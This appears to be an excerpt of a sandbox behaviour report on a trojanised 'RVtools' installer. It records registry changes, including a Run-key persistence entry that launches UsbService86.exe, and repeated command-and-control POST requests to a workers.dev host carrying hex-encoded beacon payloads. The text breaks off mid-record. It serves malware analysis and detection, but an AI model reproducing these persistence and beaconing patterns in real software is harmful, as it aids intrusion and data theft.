4046AF00000000030000005E0000003D4A060201000080C39240F0000000000100000015000000564A0602017F0080784A674B00000000010000005E000000BFDE08020100008065B49D6B0000000009000000BF0000005F37110201000080856D77FF0000000004000000E00100006D38160201000080738B74C70000000001000000A2000000A4102702017F0080260FB9F9000000000E00000037000000BCF4300201000080BE94981800000000010000005C0100006C97340201000080EE1839B90000000005000000000000009A483902010001006D537548000000000100000000000000B9BE4502010000808712A98300000000010000004000000077384602017F0500101E3EA3000000000100000019000000D60F470201000080F82C30D1000000000100000000000000FDBE49020100008003520DB60000000002000000000A0000487C4D0201000080127A123700000000640000000D000000AD895002010000803326A57403000000010000007602000093FE59020100010098FBB9D6000000000300000001000000477F610201000080ED3B2446000000000100000000000000477F610204000100DFB5D96E0000000001000000000000009E26640201010080C0A211130000000001000000000000005792640201000080FD2998950000000001000000EF030000FF40890201000080252A7840000000004A00000016000000FF4089020300004026CCD6550000000016000000000000004614940201000080682B516C0000000001000000402A000000") "start.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS"; Value: "0100000000") "start.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "INTRANETNAME"; Value: "0100000000") "start.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "UNCASINTRANET"; Value: "0100000000") "start.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "AUTODETECT"; Value: "0000000000") "RVtools-4.7.0.2.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\MSDTC\MTXOCI"; Key: "ORACLEOCILIBPATH"; Value: "%ALLUSERSPROFILE%\SysIco") "RVtools-4.7.0.2.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN"; Key: "UPDATEWINPY"; Value: "%ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\UsbService86.exe %ALLUSERSPROFILE%\Microsoft\AppUpdate\SystemInfo\LICENSE.txt") "UsbService86.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\USBSERVICE86_RASAPI32"; Key: "ENABLEFILETRACING"; Value: "0000000000") "UsbService86.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\USBSERVICE86_RASAPI32"; Key: "ENABLEAUTOFILETRACING"; Value: "0000000000") "UsbService86.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\USBSERVICE86_RASAPI32"; Key: "ENABLECONSOLETRACING"; Value: "0000000000") "UsbService86.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\USBSERVICE86_RASAPI32"; Key: "FILETRACINGMASK"; Value: "0000FFFF00") "UsbService86.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\USBSERVICE86_RASAPI32"; Key: "CONSOLETRACINGMASK"; Value: "0000FFFF00") "UsbService86.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\USBSERVICE86_RASAPI32"; Key: "MAXFILESIZE"; Value: "0000100000") "UsbService86.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\USBSERVICE86_RASAPI32"; Key: "FILEDIRECTORY"; Value: "%windir%\tracing") "UsbService86.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\USBSERVICE86_RASMANCS"; Key: "ENABLEFILETRACING"; Value: "0000000000") "UsbService86.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\USBSERVICE86_RASMANCS"; Key: "ENABLEAUTOFILETRACING"; Value: "0000000000") "UsbService86.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\USBSERVICE86_RASMANCS"; Key: "ENABLECONSOLETRACING"; Value: "0000000000") "UsbService86.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\USBSERVICE86_RASMANCS"; Key: "FILETRACINGMASK"; Value: "0000FFFF00") "UsbService86.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\USBSERVICE86_RASMANCS"; Key: "CONSOLETRACINGMASK"; Value: "0000FFFF00") "UsbService86.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\USBSERVICE86_RASMANCS"; Key: "MAXFILESIZE"; Value: "0000100000") "UsbService86.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\USBSERVICE86_RASMANCS"; Key: "FILEDIRECTORY"; Value: "%windir%\tracing") "UsbService86.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\ASP.NET_4.0.30319\NAMES"; Key: "FMBDTY135FLM4AABAQBEJVM7VAUMRMQESIT6KITOWYG91DFP1HV5ZGUVLVUWWOGKTGXH4FZIL3PNXP7MYHSQPCKXRK5G6ZO6CVPR0HO90X0VNFSRPMYVIQ"; Value: "401E000000") "UsbService86.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\62\52C64B7E"; Key: "@%SYSTEMROOT%\SYSTEM32\CI.DLL,-100"; Value: "Isolated User Mode (IUM)"), "UsbService86.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\62\52C64B7E"; Key: "@%SYSTEMROOT%\SYSTEM32\CI.DLL -101"; Value: "Enclave"), "UsbService86.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\62\52C64B7E"; Key: "@%SYSTEMROOT%\SYSTEM32\DNSAPI.DLL -103"; Value: "Domain Name System (DNS) Server Trust"), "UsbService86.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\62\52C64B7E"; Key: "@%SYSTEMROOT%\SYSTEM32\FVEUI.DLL -843"; Value: "BitLocker Drive Encryption"), "UsbService86.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\62\52C64B7E"; Key: "@%SYSTEMROOT%\SYSTEM32\FVEUI.DLL -844"; Value: "BitLocker Data Recovery Agent"), "UsbService86.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\62\52C64B7E"; Key: "@%SYSTEMROOT%\SYSTEM32\WUAUENG.DLL -400"; Value: "Windows Update"), "UsbService86.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\62\52C64B7E"; Key: "@%SYSTEMROOT%\SYSTEM32\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE -124"; Value: "Document Encryption"), "UsbService86.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\62\52C64B7E"; Key: "@%SYSTEMROOT%\SYSTEM32\NGCRECOVERY.DLL -100"; Value: "Windows Hello Recovery Key Encryption"), "UsbService86.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS"; Value: "0100000000"), "UsbService86.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "INTRANETNAME"; Value: "0100000000"), "UsbService86.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "UNCASINTRANET"; Value: "0100000000"), "UsbService86.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "AUTODETECT"; Value: "0000000000")60:T7794,"POST //Ozt6OhXe4DHCP/ HTTP/1.1 User-Agent: Microsoft Windows NT 10.0.22621.0 Content-Type: application/json Host: mud.alert-router-b3a.workers.dev Content-Length: 135 Connection: Keep-Alive" with payload::==> "7b:22:55:55:49:44:22:3a:6e:75:6c:6c:2c:22:49:44:22:3a:22:58:4f:7a:74:36:4f:68:58:65:34:44:48:43:50:71:51:22:2c:22:44:61:74:61:22:3a:22:6e:2b:70:68:6f:42:72:6a:4e:31:41:47:57:5a:37:36:56:2f:58:31:2f:52:44:78:58:66:6a:6c:55:48:69:54:43:37:4c:66:4c:75:4e:42:2f:47:47:53:7a:54:30:43:49:6d:68:6b:70:70:75:47:4f:6a:50:36:6e:4c:54:63:43:69:37:53:70:37:51:5a:31:35:44:69:42:69:34:55:67:62:4e:42:77:63:30:3d:22:7d" HTTP/1.1 200 OK Date: Tue 13 Jan 2026 05:58:54 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: keep-alive CF-Ray: 9bd2aa19a8d6e865-SJC CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare Set-Cookie: ASP.NET_SessionId=TwIPMjKHRvGKgVzSqLMXqjNWANgxtKGQ; X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Vary: accept-encoding Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=5W2f87e%2BZZcXhFlwOEk5mT6rsYmScB6sdLygCgWmYGNbMhB1PgLOLpacp1S%2F1MGM%2FCzhOfMLhY32MvmVm4EAem%2FrEb4Iy664pvhQEpAZq3ni%2FcQCPrRO1LtI1ZHcPE%2FW"}]} alt-svc: h3=":443"; ma=86400 with response body ==>37623A32323A35353A35353A34393A34343A32323A33613A32303A36653A37353A36633A36633A32633A32303A32323A34393A34343A32323A33613A32303A32....... "POST //EvgHgjJpcJXFDwE/ HTTP/1.1 User-Agent: Microsoft Windows NT 10.0.22621.0 Content-Type: application/json Host: mud.alert-router-b3a.workers.dev Content-Length: 47" with payload::==> "7b:22:55:55:49:44:22:3a:6e:75:6c:6c:2c:22:49:44:22:3a:22:58:4f:7a:74:36:4f:68:58:65:34:44:48:43:50:71:51:22:2c:22:44:61:74:61:22:3a:22:22:7d" HTTP/1.1 200 OK Date: Tue 13 Jan 2026 05:58:54 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: keep-alive CF-Ray: 9bd2aa1f2b00e865-SJC CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare Set-Cookie: ASP.NET_SessionId=aTCTjsAGULwbXNYShgfvHlkkQXfkSuQM; X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Vary: accept-encoding Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=J0wzt2S6ShgyW6gyt4Hkol87LBiOSJxDiQlpZk1tQto6uPs8NKjCCZ%2Fb29DSlsDm6mz7f2xS4v35g4rS2yHYe2fg%2B3PCrrYLlihkxDlGBi2i9tKexje%2Fk6Ifwl%2B1U2Cj"}]} alt-svc: h3=":443"; ma=86400 with response body ==>37623A32323A35353A35353A34393A34343A32323A33613A32303A32323A33323A33393A33373A33393A33323A36323A36353A36353A32643A36333A33333A33....... "POST //GYKZPQC/ HTTP/1.1 User-Agent: Microsoft Windows NT 10.0.22621.0 Content-Type: application/json Host: mud.alert-router-b3a.workers.dev Content-Length: 47" with payload::==> "7b:22:55:55:49:44:22:3a:6e:75:6c:6c:2c:22:49:44:22:3a:22:58:4f:7a:74:36:4f:68:58:65:34:44:48:43:50:71:51:22:2c:22:44:61:74:61:22:3a:22:22:7d" HTTP/1.1 200 OK Date: Tue 13 Jan 2026 05:58:55 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: keep-alive CF-Ray: 9bd2aa22caa3e865-SJC CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare Set-Cookie: ASP.NET_SessionId=YezoVnMtClnPFqHrFiLnQLIlBvQqvonF; X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Vary: accept-encoding Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=ubnog0vrbG24fLM0i3IY4EYiIncvQJZgrEbYrko2eNCmUvVIU9JaMfWiUQAijA8etbQQxt7MtOcHA2BXJ1s1WuOTBxGMO3L%2BEN1iwYxNda3GaW8GfRGJE2Vrj901Bf9I"}]} alt-svc: h3=":443"; ma=86400 with response body ==>37623A32323A35353A35353A34393A34343A32323A33613A32303A36653A37353A36633A36633A32633A32303A32323A34393A34343A32323A33613A32303A32....... "POST //44eQJ0s/ HTTP/1.1 User-Agent: Microsoft Windows NT 10.0.22621.0 Content-Type: application/json Host: mud.alert-router-b3a.workers.dev Content-Length: 113" with payload::==> "7b:22:55:55:49:44:22:3a:22:32:39:37:39:32:62:65:65:2d:63:33:36:64:2d:34:31:63:30:2d:38:61:30:64:2d:30:30:61:38:32:37:35:66:63:39:62:34:22:2c:22:49:44:22:3a:22:58:4f:7a:74:36:4f:68:58:65:34:44:48:43:50:71:51:22:2c:22:44:61:74:61:22:3a:22:67:2f:73:6d:71:42:7a:6a:4f:6b:31:55:61:4b:58:35:66:37:44:44:35:6a:7a:78:42:4c:47:6e:48:69:49:3d:22:7d" HTTP/1.1 200 OK Date: Tue 13 Jan 2026 05:58:56 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: keep-alive CF-Ray: 9bd2aa26fa59e865-SJC CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare Set-Cookie: ASP.NET_SessionId=YTRpvdPKuiyqanRLUatWjRFKbGqiJwXX; X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Vary: accept-encoding Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=anNo0nKBBGwsKU5SMJuZcQGLYv4bngnDQtwuO2Q1cHBQASUo1TmOZBu6J%2BWzZs%2BLstWKIPxlgqFauF5C7zfSa6hWT92wGQ0sTI%2FRsOkiSpHfvdToT8GcTlKki3RUplJ%2B"}]} alt-svc: h3=":443"; ma=86400 with response body ==>37623A32323A35353A35353A34393A34343A32323A33613A32303A32323A32323A32633A32303A32323A34393A34343A32323A33613A32303A32323A35383A34....... "POST //nLriCsXJRY0pjU4/ HTTP/1.1 User-Agent: Microsoft Windows NT 10.0.22621.0 Content-Type: application/json Host: mud.alert-router-b3a.workers.dev Content-Length: 47" with payload::==> "7b:22:55:55:49:44:22:3a:6e:75:6c:6c:2c:22:49:44:22:3a:22:58:4f:7a:74:36:4f:68:58:65:34:44:48:43:50:71:51:22:2c:22:44:61:74:61:22:3a:22:22:7d" HTTP/1.1 200 OK Date: Tue 13 Jan 2026 05:58:56 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: keep-alive CF-Ray: 9bd2aa27ee7edf0a-SJC CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare Set-Cookie: ASP.NET_SessionId=KNVqWYjiqsAaNYYFvYafADWbvHReEomT; X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Vary: accept-encoding Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=gpaQ64Uf4hEu1Vc0Rj5hDP8uuXQ%2BuEDSs6QPdB6IcE1t83iHpguBErCoVVVzeMBwQMgnC3b1Wh7TJcz3O0mbn80onbQuYgk6H0K2dtnexH6TJMUlOZIbxp2TEyRTCSFx"}]} alt-svc: h3=":443"; ma=86400 with response body ==>37623A32323A35353A35353A34393A34343A32323A33613A32303A36653A37353A36633A36633A32633A32303A32323A34393A34343A32323A33613A32303A32....... "POST //iecDFWSMaCxpk/ HTTP/1.1 User-Agent: Microsoft Windows NT 10.0.22621.0 Content-Type: application/json Host: mud.alert-router-b3a.workers.dev Content-Length: 47" with payload::==> "7b:22:55:55:49:44:22:3a:6e:75:6c:6c:2c:22:49:44:22:3a:22:58:4f:7a:74:36:4f:68:58:65:34:44:48:43:50:71:51:22:2c:22:44:61:74:61:22:3a:22:22:7d" HTTP/1.1 200 OK Date: Tue 13 Jan 2026 05:58:57 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: keep-alive CF-Ray: 9bd2aa2d3ea5e865-SJC CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare Set-Cookie: ASP.NET_SessionId=VbxBDzCnYpTDwkQpWpGqJEXBDDlxLuQZ; X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Vary: accept-encoding Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=Thul6wDBhgKIpbVMv1Uje4VnnhaBgPWtd%2B8oD6qTPK3Od7iLVrxg4M1F7VgYqpXUYqv%2FWud68mz5nn7WwfLjjQpJydmYY1qDzEYUzWZRdHqdUsoc0EwnwhXwv%2BKxKGaJ"}]} alt-svc: h3=":443"; ma=86400 with response body ==>37623A32323A35353A35353A34393A34343A32323A33613A32303A36653A37353A36633A36633A32633A32303A32323A34393A34343A32323A33613A32303A32....... "POST //hPtHsocy0bcT360/ HTTP/1.1 User-Agent: Microsoft Windows NT 10.0.22621.0 Content-Type: application/json Host: mud.alert-router-b3a.workers.dev Content-Length: 47" with payload::==> "7b:22:55:55:49:44:22:3a:6e:75:6c:6c:2c:22:49:44:22:3a:22:58:4f:7a:74:36:4f:68:58:65:34:44:48:43:50:71:51:22:2c:22:44:61:74:61:22:3a:22:22:7d" HTTP/1.1 200 OK Date: Tue 13 Jan 2026 05:58:57 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: keep-alive CF-Ray: 9bd2aa30de2ce865-SJC CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare Set-Cookie: ASP.NET_SessionId=eRbKfJgdiEyysrZYewUfGUQCDhxnGCZL; X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Vary: accept-encoding Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=xIJikYU9VcQytv%2BFz%2FrCyKKe%2BxR0W8Zn5w5KFVsec3fxuQ9vZSbnXY329RzmA%2Fy0nV7qwdkBAoombsbHU3aTahBYqn%2FR2nx%2FRVg5qiZvC6Q10yDubyy%2BmN%2FAifjqopV%2B"}]} alt-svc: h3=":443"; ma=86400 with response body ==>37623A32323A35353A35353A34393A34343A32323A33613A32303A36653A37353A36633A36633A32633A32303A32323A34393A34343A32323A33613A32303A32....... "POST //NN/ HTTP/1.1 User-Agent: Microsoft Windows NT 10.0.22621.0 Content-Type: application/json Host: mud.alert-router-b3a.workers.dev Content-Length: 47" with payload::==> "7b:22:55:55:49:44:22:3a:6e:75:6c:6c:2c:22:49:44:22:3a:22:58:4f:7a:74:36:4f:68:58:65:34:44:48:43:50:71:51:22:2c:22:44:61:74:61:22:3a:22:22:7d" HTTP/1.1 200 OK Date: Tue 13 Jan 2026 05:58:58 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: keep-alive CF-Ray: 9bd2aa33cbeee865-SJC CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare Set-Cookie: ASP.NET_SessionId=kaySZLHtGKUbjAgATglfWIwumjCAbyBn; X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Vary: accept-encoding Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=4dwegYCbmQ5FS%2FHsAALCzEDmES5v%2FwXR7mO8Uq1BJkjmRiP5%2B0RzcRbFy%2BYpZp667Ymr%2Fzsq911LTetZoBzu%2FV0haWX53hk9Tj2brKOCvDAVXpioyBTn4x2l5CEzOVeV"}]} alt-svc: h3=":443"; ma=86400 with response body ==>37623A32323A35353A35353A34393A34343A32323A33613A32303A36653A37353A36633A36633A32633A32303A32323A34393A34343A32323A33613A32303A32....... "POST //ry4EIsEtVHR/ HTTP/1.1 User-Agent: Microsoft Windows NT 10.0.22621.0 Content-Type: application/json Host: mud.alert-router-b3a.workers.dev Content-Length: 47" with payload::==> "7b:22:55:55:49:44:22:3a:6e:75:6c:6c:2c:22:49:44:22:3a:22:58:4f:7a:74:36:4f:68:58:65:34:44:48:43:50:71:51:22:2c:22:44:61:74:61:22:3a:22:22:7d" HTTP/1.1 200 OK Date: Tue 13 Jan 2026 05:58:58 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: keep-alive CF-Ray: 9bd2aa36b954e865-SJC CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare Set-Cookie: ASP.NET_SessionId=pihpHRnWDlEmlgkqeKVElSbnIkASACEH; X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Vary: accept-encoding Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=NTTF3%2F%2BoJwzqA5bBMbnh%2BOTyTDXH8laIPYFAB4l8jGROdkM0Ix46Cl4tM%2BowkYpGLOs7aPdl4l0LKOuZp%2Bx11ZgHxkNBbVVkBn3xiXif0XNObw8ncZ%2FH2HpMaS76jUkU"}]} alt-svc: h3=":443"; ma=86400 with response body ==>37623A32323A35353A35353A34393A34343A32323A33613A32303A36653A37353A36633A36633A32633A32303A32323A34393A34343A32323A33613A32303A32....... "POST //r74NbQ1c/ HTTP/1.1 User-Agent: Microsoft Windows NT 10.0.22621.0 Content-Type: application/json Host: mud.alert-router-b3a.workers.dev Content-Length: 47" with payload::==> "7b:22:55:55:49:44:22:3a:6e:75:6c:6c:2c:22:49:44:22:3a:22:58:4f:7a:74:36:4f:68:58:65:34:44:48:43:50:71:51:22:2c:22:44:61:74:61:22:3a:22:22:7d" HTTP/1.1 200 OK Date: Tue 13 Jan 2026 05:58:58 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: keep-alive CF-Ray: 9bd2aa399ec8e865-SJC CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare Set-Cookie: ASP.NET_SessionId=OxXadKEyTdZzXPOOkVEtjkmwwVkoONag; X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Vary: accept-encoding Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=xdoaq7MLNwMLSpNCA3IXtOxuffHM6eockWoSN2rn%2B3qQV3MvYFLZZDyOpsOhDUFnq2Do7gTXr65tB4NiRyvWoSLXNwy8I%2F%2BujSANxfBkZ38iJtcShJs7ZjWFnmaTWKRV"}]} alt-svc: h3=":443"; ma=86400 with response body ==>37623A32323A35353A35353A34393A34343A32323A33613A32303A36653A37353A36633A36633A32633A32303A32323A34393A34343A32323A33613A32303A32....... "POST //gWv3tvls/ HTTP/1.1 User-Agent: Microsoft Windows NT 10.0.22621.0 Content-Type: application/json Host: mud.alert-router-b3a.workers.dev Content-Length: 47" with payload::==> "7b:22:55:55:49:44:22:3a:6e:75:6c:6c:2c:22:49:44:22:3a:22:58:4f:7a:74:36:4f:68:58:65:34:44:48:43:50:71:51:22:2c:22:44:61:74:61:22:3a:22:22:7d" HTTP/1.1 200 OK Date: Tue 13 Jan 2026 05:58:59 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: keep-alive CF-Ray: 9bd2aa3c4bd1e865-SJC CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare Set-Cookie: ASP.NET_SessionId=NuMMCvjaftbiLUxUngDuUbJFyhUSEnxl; X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Vary: accept-encoding Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=jKzDWpC%2FjTyEotUrxUXEtg8LfpT0O46P7hZ4ZXCDWD8wsJHfFu4%2F5paVCS0hjK%2FVgpz30%2BRu7BjvGd2NaFXDXBw8VGGZ0jqCzlLTv1lnoVN3KfWF2RMX3N0nhb5cFUro"}]} alt-svc: h3=":443"; ma=86400 with response body ==>37623A32323A35353A35353A34393A34343A32323A33613A32303A36653A37353A36633A36633A32633A32303A32323A34393A34343A32323A33613A32303A32....... "POST //E73ib/ HTTP/1.1 User-Agent: Microsoft Windows NT 10.0.22621.0 Content-Type: application/json Host: mud.alert-router-b3a.workers.dev Content-Length: 47" with payload::==> "7b:22:55:55:49:44:22:3a:6e:75:6c:6c:2c:22:49:44:22:3a:22:58:4f:7a:74:36:4f:68:58:65:34:44:48:43:50:71:51:22:2c:22:44:61:74:61:22:3a:22:22:7d" HTTP/1.1 200 OK Date: Tue 13 Jan 2026 05:58:59 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: keep-alive CF-Ray: 9bd2aa3f3995e865-SJC CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare Set-Cookie: ASP.NET_SessionId=PLEGORVDzDoEEasDruuhixOIXHOifhdO; X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Vary: accept-encoding Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=jihnuVZMCR0qa3nd%2FehIqriDqvnVJMH7iEq7Q9%2BRr4Y21%2FJ27VKKtXjx4ZedxAMG3F21o5RQYMXgXxcRfYw8gYZCNRGtv6%2BkNHPVosM5%2B%2B2gEUZHLjPKvmM6Zh0TfQ4z"}]} alt-svc: h3=":443"; ma=86400 with response body ==>37623A32323A35353A35353A34393A34343A32323A33613A32303A36653A37353A36633A36633A32633A32303A32323A34393A34343A32323A33613A32303A32....... "POST //CLWkKQif3TyoNex/ HTTP/1.1 User-Agent: Microsoft Windows NT 10.0.22621.0 Content-Type: application/json Host: mud.alert-router-b3a.workers.dev Content-Length: 47" with payload::==> "7b:22:55:55:49:44:22:3a:6e:75:6c:6c:2c:22:49:44:22:3a:22:58:4f:7a:74:36:4f:68:58:65:34:44:48:43:50:71:51:22:2c:22:44:61:74:61:22:3a:22:22:7d" HTTP/1.1 200 OK Date: Tue 13 Jan 2026 05:59:00 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: keep-alive CF-Ray: 9bd2aa422edee865-SJC CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare Set-Cookie: ASP.NET_SessionId=TbVMifVkuZzklCUpyMNPlffMAAsqVQfb; X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Vary: accept-encoding Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=C2e%2BcxVpQwkXuTebvh%2FtULiBzgsxvNcM%2Bxy57e3o9%2F9f9uU6X5QeRhRIxx50ao%2FNJhnOUMsik84lmymBSsKBSAkUfCgKDHpipxb0TbGJvPN%2Fv2hlpU3Uc5jHJQJb7wAI"}]} alt-svc: h3=":443"; ma=86400 with response body ==>37623A32323A35353A35353A34393A34343A32323A33613A32303A36653A37353A36633A36633A32633A32303A32323A34393A34343A32323A33613A32303A32....... "POST //yuJfqa5/ HTTP/1.1 User-Agent: Microsoft Windows NT 10.0.22621.0 Content-Type: application/json Host: mud.alert-router-b3a.workers.dev Content-Length: 47" with payload::==> "7b:22:55:55:49:44:22:3a:6e:75:6c:6c:2c:22:49:44:22:3a:22:58:4f:7a:74:36:4f:68:58:65:34:44:48:43:50:71:51:22:2c:22:44:61:74:61:22:3a:22:22:7d" HTTP/1.1 200 OK Date: Tue 13 Jan 2026 05:59:00 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: keep-alive CF-Ray: 9bd2aa451d1fe865-SJC CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare Set-Cookie: ASP.NET_SessionId=mhNoezujkVmPCeWvtjLgXFuGWyywNISr; X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Vary: accept-encoding Report-To: {"group":"cf-nel" "max_age":604800 